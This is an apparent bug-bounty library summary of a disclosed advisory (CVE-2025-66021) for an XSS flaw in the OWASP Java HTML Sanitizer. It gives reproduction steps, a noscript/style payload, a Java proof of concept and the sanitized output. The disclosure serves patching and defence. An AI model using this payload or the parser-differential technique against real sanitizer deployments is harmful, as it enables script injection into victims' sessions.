# OWASP Java HTML Sanitizer is vulnerable to XSS via noscript tag and improper style tag sanitization

OWASP Java HTML Sanitizer with noscript+style+allowTextIn policy lets `<noscript><style></noscript><script>` survive sanitization, executing XSS in browsers.

- Payout: Research
- Severity: high
- Program: OWASP Java HTML Sanitizer
- Found by: ironfisto, ilyanep
- Disclosed: 2025-11-25
- CVE: CVE-2025-66021
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-g9gq-3pfx-2gw2
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-g9gq-3pfx-2gw2
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:high tech:java technique:parser-differential technique:source-review vuln:xss

**Target:** Java HTML sanitizer library (HtmlPolicyBuilder)
**Root cause:** When `style` is allowed with `allowTextIn`, the sanitizer treats everything after `<style>` as opaque CSS text and does not sanitize it. With `noscript` allowed, the browser's noscript parsing mode causes the injected `<script>` to be re-interpreted as real HTML after sanitization, unlike with `p`.
**Steps:**
1. Configure `HtmlPolicyBuilder().allowElements("p","noscript","style").allowTextIn("style").toFactory()` on version 20240325.1.
2. Sanitize payload `<noscript><style></noscript><script>alert(1)</script>`.
3. Observe output `<noscript><style></noscript><script>alert(1)</script></style></noscript>` — script tag preserved.
4. Render the sanitized output in a browser; alert fires because noscript parsing reinterprets the script as HTML.
5. Compare with `<p><style></p><script>alert(1)</script>` which stays inert (treated as CSS).
**How found:** Reporter compared two near-identical payloads differing only in `<p>` vs `<noscript>` wrapper and noticed the sanitizer output preserved the script tag in the noscript case; browser inspection showed noscript parsing mode reinterprets the trailing script as HTML while p keeps it as CSS text.
**Exploitation:** Attacker submits crafted HTML to an app using the sanitizer with noscript+style+allowTextIn policy; sanitized output is stored/rendered and the browser executes the injected script, yielding XSS in the victim's session.
**Insight:** When a sanitizer has an opaque-text mode (allowTextIn style/script), test it wrapped in elements that change browser parsing context (noscript, template, textarea, iframe srcdoc) — the sanitizer's tokenizer and the browser's tokenizer can diverge on where the opaque region ends.

## Proof of concept (copied exactly from the original report)

**XSS payloads with noscript/style and p/style**

```
1. <noscript><style></noscript><script>alert(1)</script>
2. <p><style></p><script>alert(1)</script>
```

**Java PoC sanitizing the payloads**

```
public class main {
	private static final String ALLOWED_HTML_TAGS = "p, noscript, style";

	/**
	 * Description of vulnerability :
	 *  The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags.
	 *  However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases.
	 */

	public static void main(String[] args) {
		withAllowedTextAndStyleTag();
	}

	/**
	 *  Test case : Vulnerable to XSS
	 */
	public static void withAllowedTextAndStyleTag() {
		HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();
		PolicyFactory policy = htmlPolicyBuilder
				.allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*"))
				.allowTextIn("style")
				.toFactory();
		String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>";
		String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

		System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne));
		System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo));
	}
}
```

**HTML page rendering sanitized output**

```
<noscript><style></noscript><script>alert(1)</script></style></noscript>


PAYLOAD: <p><style></p><script>alert(1)</script>
SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>
```

